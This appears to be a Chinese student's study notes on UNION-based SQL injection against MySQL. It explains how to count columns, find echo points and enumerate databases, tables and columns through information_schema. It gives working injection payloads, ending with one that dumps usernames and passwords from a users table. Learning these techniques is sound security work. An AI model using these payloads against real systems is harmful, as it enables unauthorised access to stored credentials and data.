记sql注入union 联合查询学习笔记

1.注入,查询我们想查的东西依赖于联合查询---->

知道原表的列数

2.开始构造一个联合查询

version(), database()

返回数据库版本和当前使用的数据库名称

union select 1, version(),database() --+

schemata表 (mysql服务器中所有数据库信息的表)

tables表 (mysql服务器中所有表信息的表)

columns表(mysql服务器所有列信息的表)

1.id=1判断是否可以进行注入

2.order by 1,2,3,4 依次进行尝试判断字段数是多少字段

3.判断回显点

union 联合查询

3.1 union select 1,2,3 如显示2,3 则union select 1,222,333,验证一下

4.查询相关内容

4.1 mysql中的information_schema :mysql数据库5.0以上版本,自带数据库,记录了mysql下所有的库名,表名,列名等信息

4.2

1.schemata表 (mysql服务器中所有数据库信息的表)

2.tables表 (mysql服务器中所有表信息的表)

3.columns表(mysql服务器所有列信息的表)

4.table_schema 数据库名

5.table_name 表名

6.column_name 列名

4.3判断库名 2web

1. MySQL中的 database()函数 返回默认或当前数据库的名称

2.在回显点加入database函数,以此得到库名

3.判断表名 获取表 article

3.1 为了查询表名,我们将union后的语句改成

union select 1,table_name,3 from information_schema.tables where table_schema='security'

4.判断列名 获取列 4.1 同理,列column_name在表information_schema.column下 union后修改为 union select 1,22,group_concat(column_name) from information_schema.columns where table_schema=database() 只要当前数据库得列名 union select 1,22,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+ 两个条件全部满足得时候才做回显 查询其他列名?这里我们需要用到limit子句。 limit子句 用于强制 SELECT 语句返回指定的记录数。 LIMIT_(参数1),(参数2) 第一个参数指定第一个返回记录行的偏移量(注意这里从0计数),第二个参数指定返回记录行的最大数目。 即 第(参数1)+1个数据 到 第(参数1+参数2)+1个数据 回显点在哪里就再哪里查那个列,列名可以切换,只能再回显那里进行切换才会展示数据 group_concat()函数 一起输出所有列名 5.查询最终目标 1.union select 1,2,group_concat(username,'~',password) from users --+

你可能感兴趣的:(sql,学习,笔记)